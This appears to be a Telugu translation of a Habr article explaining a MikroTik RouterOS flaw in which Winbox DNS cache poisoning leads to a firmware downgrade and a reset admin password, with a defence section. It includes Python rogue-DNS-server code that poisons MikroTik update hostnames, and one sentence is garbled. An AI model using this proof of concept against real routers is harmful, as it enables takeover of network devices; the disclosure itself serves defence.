RouterOS (Mikrotik) ఆధారంగా పరికరాలను రిమోట్గా డౌన్గ్రేడ్ చేసే సామర్థ్యం వందల వేల నెట్వర్క్ పరికరాలను ప్రమాదంలో పడేస్తుంది. దుర్బలత్వం Winbox ప్రోటోకాల్ యొక్క DNS కాష్ విషపూరితం మరియు పరికరంలో పాతది (డిఫాల్ట్ పాస్వర్డ్ రీసెట్తో) లేదా సవరించిన ఫర్మ్వేర్ను లోడ్ చేయడానికి మిమ్మల్ని అనుమతిస్తుంది.
దుర్బలత్వ వివరాలు
RouterOS టెర్మినల్ DNS శోధన కోసం పరిష్కార కమాండ్కు మద్దతు ఇస్తుంది.
ఈ అభ్యర్థన పరిష్కరిణి అనే బైనరీ ద్వారా నిర్వహించబడుతుంది. RouterOS యొక్క Winbox ప్రోటోకాల్కు కనెక్ట్ చేసే అనేక బైనరీలలో రిసోల్వర్ ఒకటి. అధిక స్థాయిలో, విన్బాక్స్ పోర్ట్కు పంపబడిన "సందేశాలు" శ్రేణి-ఆధారిత నంబరింగ్ స్కీమ్ ఆధారంగా RouterOSలోని వివిధ బైనరీలకు మళ్లించబడతాయి.
డిఫాల్ట్గా, RouterOS DNS సర్వర్ ఫీచర్ డిసేబుల్ చేయబడింది.
అయినప్పటికీ, సర్వర్ ఫంక్షన్ నిలిపివేయబడినప్పటికీ, రూటర్ దాని స్వంత DNS కాష్ని నిర్వహిస్తుంది.
ఉదాహరణకు example.com కోసం winbox_dns_request ఉపయోగించి మేము అభ్యర్థన చేసినప్పుడు, రూటర్ ఫలితాన్ని కాష్ చేస్తుంది.
అభ్యర్థన వెళ్లవలసిన DNS సర్వర్ను మేము పేర్కొనవచ్చు కాబట్టి, తప్పు చిరునామాలను నమోదు చేయడం చాలా చిన్న విషయం. ఉదాహరణకు, మీరు దీని నుండి DNS సర్వర్ అమలును కాన్ఫిగర్ చేయవచ్చు
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
ఇప్పుడు మీరు Winboxని ఉపయోగించి example.com కోసం శోధిస్తే, రూటర్ యొక్క DNS కాష్ విషపూరితమైనట్లు మీరు చూడవచ్చు.
వాస్తవానికి, రౌటర్ దానిని ఉపయోగించదు కాబట్టి, విషపూరిత example.com చాలా ఉపయోగకరంగా లేదు. అయితే, రూటర్ upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com మరియు download.mikrotik.comని యాక్సెస్ చేయాల్సి ఉంటుంది. మరియు మరొక పొరపాటుకు ధన్యవాదాలు, వాటిని ఒకేసారి విషం చేయడం సాధ్యమవుతుంది.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
రూటర్ ఒక అనుమతిని అభ్యర్థిస్తుంది మరియు మేము ఐదు తిరిగి మంజూరు చేస్తాము. రూటర్ ఈ ప్రతిస్పందనలన్నింటినీ సరిగ్గా కాష్ చేయదు.
సహజంగానే, రూటర్ DNS సర్వర్గా పనిచేస్తుంటే కూడా ఈ దాడి ఉపయోగకరంగా ఉంటుంది, ఎందుకంటే ఇది రౌటర్ యొక్క క్లయింట్లను దాడి చేయడానికి అనుమతిస్తుంది.
ఈ దాడి మరింత తీవ్రమైన దుర్బలత్వాన్ని ఉపయోగించుకోవడానికి మిమ్మల్ని అనుమతిస్తుంది: RouterOS సంస్కరణను డౌన్గ్రేడ్ చేయండి లేదా బ్యాక్పోర్ట్ చేయండి. దాడి చేసే వ్యక్తి చేంజ్లాగ్తో సహా అప్డేట్ సర్వర్ యొక్క లాజిక్ను పునఃసృష్టిస్తాడు మరియు రూటర్ఓఎస్ పాత (హాని కలిగించే) సంస్కరణను కరెంట్గా భావించేలా బలవంతం చేస్తాడు. ఇక్కడ ప్రమాదం ఏమిటంటే, సంస్కరణ “నవీకరించబడినప్పుడు”, నిర్వాహకుడి పాస్వర్డ్ డిఫాల్ట్ విలువకు రీసెట్ చేయబడుతుంది - దాడి చేసే వ్యక్తి ఖాళీ పాస్వర్డ్తో సిస్టమ్కి లాగిన్ చేయవచ్చు!
వాస్తవం ఉన్నప్పటికీ దాడి చాలా పని చేస్తోంది
రక్షణ
Winboxని నిలిపివేయడం వలన ఈ దాడుల నుండి మిమ్మల్ని మీరు రక్షించుకోవచ్చు. Winbox ద్వారా పరిపాలన సౌలభ్యం ఉన్నప్పటికీ, SSH ప్రోటోకాల్ను ఉపయోగించడం ఉత్తమం.
మూలం: www.habr.com